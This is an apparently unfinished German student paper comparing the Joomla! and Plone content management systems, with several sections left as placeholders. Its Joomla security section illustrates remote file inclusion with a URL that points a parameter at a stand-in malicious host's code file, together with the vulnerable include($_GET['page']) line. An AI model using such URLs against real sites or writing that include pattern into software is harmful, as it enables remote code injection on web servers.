

Joomla! und Plone - ein Vergleich zweier Content-Management-Systeme

Bernd Steinacker
HfT Stuttgart

12. November 2008

Inhaltsverzeichnis

| | | |
|----------|---|----------|
| 1 | Einleitung | 1 |
| 2 | Joomla! | 2 |
| 2.1 | Installation | 2 |
| 2.2 | Administration | 2 |
| 2.3 | Sicherheit | 3 |
| 2.4 | Entwicklung | 3 |
| 2.5 | Barrierefreiheit | 3 |
| 3 | Plone | 4 |
| 3.1 | Installation | 4 |
| 3.2 | Administration | 4 |
| 3.3 | Sicherheit | 5 |
| 3.4 | Entwicklung | 5 |
| 3.5 | Barrierefreiheit | 5 |
| 4 | Bewertung | 6 |
| 4.1 | Vergleich der beiden CMS | 6 |
| 4.2 | Ausarbeitung der Unterschiede | 6 |
| 5 | Fazit | 6 |
| 5.1 | Zusammenfassung | 6 |
| 5.2 | Ausblick | 6 |

1 Einleitung

Informationsmanagement wird in der heutigen Zeit immer wichtiger. Die zunehmende Marktdurchdringung mobiler Endgeräte die über einen Internetzugang verfügen trägt maßgebend dazu bei.

Ein wichtiger Schritt zu einem optimierten Informationsmanagement ist, wichtige Informationen ortsunabhängig zugänglich zu machen. Hierzu wird an Softwarelösungen gearbeitet, die anfallende Tätigkeiten technisch unterstützt. Beispiele hierzu sind browserbasierte E-Mail-Services, Gruppenkalender, Dokumentenmanagementsysteme oder auch Online-Banking.

Das Erstellen einer Webseite, die solche Dienste zur Verfügung stellt, erfordert spezielle Kenntnisse und einige Übung in der Entwicklung und der Gestaltung von Internetauftritten. Dies führte in der Vergangenheit immer wieder dazu, dass Projekte durch teure Spezialisten umgesetzt wurden, bzw. in einigen Fällen sogar gar nicht verwirklicht wurden.

An diesem Punkt setzen Web-Content-Management-Systeme wie Joomla! oder Plone an. Ihre Funktionalitäten werden über einen Browser verwaltet und können dadurch örtlich ungebunden genutzt werden. In dieser Ausarbeitung werden Joomla! in der stabilen Version 1.5 und Plone in der Version 3.1.6 verglichen.

Eine Gegenüberstellung der Kernfunktionen läßt auf eine klare Überlegenheit von Plone schließen. Dieser Vergleich wird jedoch auch Bereiche wie Handhabung und Einsatzgebiete einbeziehen.

2 Joomla!



Abbildung 1: Joomla! Logo [3]

Joomla! entstand als Open-Source-Variante zu Mambo, einem im Jahr 2001 von der Firma Miro entwickelten Content-Management-System [1]. Seit Anfang 2008 liegt nun die Veröffentlichung der stabilen Version 1.5 vor, die auch den momentan aktuellen Stand abbildet (1.5.6). Joomla! ist GNU/GPL 2.0 lizenziert. Abbildung 1 zeigt das Logo, unter dem Joomla! aktuell vertrieben wird.

2.1 Installation

Um die Installation von Joomla! zu ermöglichen wird ein Webserver, der PHP unterstützt, und ein von Joomla! unterstütztes Datenbanksystem benötigt [1]. Für Joomla! ist hierzu das vorkonfigurierte Paket namens XAMPP sehr hilfreich. Es enthält den Webserver Apache in der Version 2 sowie einen MySQL-Server. Bei der Installation des Apache wird bei XAMPP berücksichtigt, dass dieser PHP-Unterstützung anbietet. Natürlich kann man diese Komponenten auch einzeln installieren bzw. Alternativen benutzen muss diese jedoch für die Nutzung von Joomla! anpassen.

Ist diese Umgebung eingerichtet ist die weitere Installation von Joomla! ein einfaches. Das Joomla!-Paket wird in den gewünschten Ordner entpackt. Per Browser kann dann auf den Webinstaller, einer Art Hilfsprogramm, zugegriffen werden. Das Programm führt den Benutzer leicht verständlich durch die Konfiguration.

2.2 Administration

Die gesamte Administration von Joomla! erfolgt über das sogenannte Backend, also einem Bereich der Webseite, die nur den Administratoren zugänglich ist.

Joomla! versucht die Administration durch die Verwendung von JavaScript sowie der Integration von Ajax-Elementen ähnlich den grafischen Oberflächen wie z.B. Windows, KDE oder Gnome zu gestalten [1].

Über die Startseite im Administratorenbereich, dem Kontrollzentrum (vergleiche Abbildung 3), erfolgt der Zugriff und die Konfiguration der einzelnen Bereiche der Webseite, wie z.B. der Menüs, der Benutzer, den Spracheinstellungen usw..

Desweiteren können hier Erweiterungen installiert und Konfiguriert werden.

Hierzu zählen etwa Templates, also Vorlagen für das Aussehen der Seite, oder auch Zusatzprogramme (Plugins genannt) wie z.B. dem Editor oder Bewertungssysteme für Beiträge und ähnliches.



Abbildung 2: Kontrollzentrum Joomla! [6]

2.3 Sicherheit

Im Zusammenhang mit der bei Joomla! verwendeten Scriptsprache PHP entstehen einige Probleme.

Wegen der Verwendung von globalen Variablen oder durch unsichere Serverkonfigurationen können Sicherheitslücken entstehen.

Es existiert zum Beispiel die Möglichkeit, dass über die URL einer Seite Variablen verändert werden, wenn diese vorher nicht korrekt initialisiert wurden. So erhält etwa durch den Aufruf von `http://beispiel.de/beispiel.php?page=http://boese.de/schadcode.txt` die Variable `page` den Wert „`http://boese.de/schadcode.txt`“. Verwendet nun ein Skript `include($_GET['page'] . '.php')` wird der schädliche Code eingeschleust [2].

2.4 Entwicklung

...bin ich noch am arbeiten... fliegt aber eh, wenn die anderen Bereiche noch zu sehr wachsen...

2.5 Barrierefreiheit

Die Verwendung von CSS und der seit Version 1.5 neu strukturierte HTML-Code erlaubt es die Seiten in kurzer Zeit barrierefrei zu gestalten. Durch das System des sogenannten Template-Overwrites wurde ermöglicht, die HTML-Ausgabe in ein Template zu verlagern. Joomla! wird seit dieser Version 1.5 standardmäßig mit dem barrierefreien Template Beez ausgeliefert welches genau diese Funktionen nutzt um dann barrierefreien Inhalt zu erzeugen [1].

3 Plone



Abbildung 3: Plone Logo [4]

Plone Version 1 erschien 2002. Es ist in der Programmiersprache Python geschrieben und unterliegt ebenfalls der GNU/GPL-Lizenz. Es findet Anwendung sowohl für Intranet- bzw. Extranet-Anwendungen, als auch als Document-Publishing-System. Erweiterungen ermöglichen darüber hinaus den Einsatz für Applikationsserver-Aufgaben wie z. B. als Webshop. Auch ein Einsatz als Groupware-Tool ist möglich.

Plone baut auf dem Open Source Application Server Zope mit seinem Content-Management-Framework auf [5]. Durch Verwendung des Archetypes-Frameworks ist es möglich eigene Web-Applikationen entwickeln.

3.1 Installation

Auch zur Installation von Plone existiert ein Programm, das den Benutzer verständlich durch die Installation leitet. Die Einrichtung und Konfiguration des Webservers und des Datenbankservers müssen aber in jedem Fall selbst vorgenommen werden. Die Konfiguration setzt im Gegensatz zur Installation des XAMPP-Pakets einiges an Kenntnissen voraus. Da Plone auf Zope aufsetzt, muss nachdem Plone aus seinen Quellen installiert wurde eine Plone-Instanz erstellt werden. Dazu muss sich der Benutzer beim Zope Management Interface (siehe Abbildung 4), also der Schnittstelle, über die Zope verwaltet wird, anmelden und dort die Plone-Site hinzufügen [5].

3.2 Administration

Bei Plone sind Front- und Backend nicht deutlich voneinander abzugrenzen. Das Backend wird teilweise quasi in das Frontend „eingebündelt“.

Zum Konzept von Plone gehören Benutzer, Rollen und Gruppen [5]. Je nach Rolle des Benutzers bekommt er Zugriffsrechte zugewiesen. Diese Zugriffsrechte beeinflussen dann die Möglichkeiten die er im Bezug auf die Inhalte der Seite oder auch deren Konfiguration hat.

Für jedes Mitglied, das sich bei einer mit Plone erstellten Site registriert, besteht



Abbildung 4: Zope Management Interface [6]

die Option einen eigenen Ordner zu erstellen. Für diesen Ordner ist eine spezielle Sicherheitsstufe eingestellt, damit nur dieses Mitglied (und Administratoren) Inhalte darin hinzufügen und bearbeiten können [5].

3.3 Sicherheit

Zope als Basis von Plone verfügt über ein Sicherheits-Framework, das auf sogenannten Rollen aufbaut.

Für jedes einzelne Objekt kann bestimmt werden, für welche Art des Zugriffs welche Rolle benötigt wird. Diese Rollen können den einzelnen Usern dann auch lokal zugewiesen werden, um ihnen z. B. Zugriff nur in bestimmten Teilbäumen zu gewähren.

Im Vergleich zu PHP arbeitet der Web-Benutzer nicht im Dateisystem des Servers, sondern in einer virtuellen Umgebung. Diese Umgebung kann der Benutzer nur verlassen, wenn es vom Entwickler gewünscht ist. Dieses System verhindert Zugriffe auf Daten die auf dem Server abgelegt sind und unterbindet so viele der üblichen Angriffsmuster.

Das Sicherheitsmodell von Plone ist mächtig und vielschichtig [5]. Es zu verwalten oder Fehler darin zu finden ist für wenig erfahrene Benutzer sehr schwierig.

3.4 Entwicklung

...bin ich noch am arbeiten... fliegt aber eh, wenn die anderen Bereiche noch zu sehr wachsen...

3.5 Barrierefreiheit

Mit Plone erstellte Seiten erfüllen die Normen „Section 508“ und W3C-WAI (Web Accessibility Initiative) für barrierefreien Zugang. Durch den Einsatz von CSS und der klaren Strukturierung des erzeugten HTML-Code können die Plone-Seiten außerdem auf beinahe allen Browsern dargestellt werden.

4 Bewertung

4.1 Vergleich der beiden CMS

Joomla! ist sehr intuitiv zu bedienen und bietet, speziell für kleine Projekte, umfangreiche Möglichkeiten. Die Arbeit mit Plone verlangt im Vergleich ein höheres Maß an Einarbeitung schafft aber auch eine deutlich höhere Flexibilität.

Die Tatsache, dass Plone auf Zope basiert, und dies prinzipiell darauf ausgerichtet ist, den Inhalt von der Gestaltung der Webseite zu trennen, bietet geübten Benutzern große Vorteile. Die Skalierbarkeit von Zope aufgrund vieler frei erhältlicher Erweiterungen ist enorm. Auch dass Zope sowohl die Funktion eines Application-Servers als auch die Funktion eines Datenbankservers anbietet ist ein Punkt, der diesbezüglich zu nennen wäre.

Für Joomla! läßt sich die einfach zu erlernende Handhabung sowie die übersichtliche Installation und Inbetriebnahme als Vorteil anführen. Benutzer die sich neu in den Umgang mit Content-Management-Systemen einarbeiten müssen erzielen schnell Fortschritte und können durch die im Standard-Paket enthaltenen Themes und Erweiterungen auch mit wenig Übung bereits gute Ergebnisse erzielen.

4.2 Ausarbeitung der Unterschiede

...bin ich noch am arbeiten...

5 Fazit

5.1 Zusammenfassung

Beide in dieser Ausarbeitung vorgestellten Content-Management-Systeme haben ihre Vor- und Nachteile. Es hat sich gezeigt, dass die Ziele des Projekts und der Kenntnisstand über den die Benutzer und vor allem die Administratoren verfügen für die Wahl des richtigen Content-Management-Systems entscheidend sind. Benutzer, die große Flexibilität einer gewissen Einfachheit vorziehen ist sicher die Verwendung von Plone zu empfehlen.

5.2 Ausblick

Schon alleine die Tatsache dass Plone Python einsetzt und Joomla! PHP wird dazu führen, dass beide Systeme weiterhin ihre Anwender und Fans haben werden. Da beide Projekte Open-Source zur Verfügung stehen ist wahrscheinlich, dass eine Weiterentwicklung stattfindet.

Literatur

- [1] Joomla! 1.5 stable, Hagen Graf, Addison-Wesley, 2008, ISBN 978-3-8273-2531-0
- [2] [http://www.joomla-tutorials.de/ueber-joomla/google-summer-of-code.html?view=mediawiki&article=Zope_\(Webanwendungsserver\)](http://www.joomla-tutorials.de/ueber-joomla/google-summer-of-code.html?view=mediawiki&article=Zope_(Webanwendungsserver)), zuletzt besucht am 12.11.2008
- [3] http://www.mz.jena.de/joomla/images/stories/logos/joomla_logo_vert_color.png, zuletzt besucht am 12.11.2008
- [4] <http://www.zope.de/redaktion/dzug/nachrichten/cms-plone-3-0-fast-fertig/image>, zuletzt besucht am 12.11.2008
- [5] Plone (Onlinebuch), Andy McKay, <http://www.zope.de/dokumentation/plonebuch>, zuletzt besucht am 12.11.2008
- [6] eigener Screenshot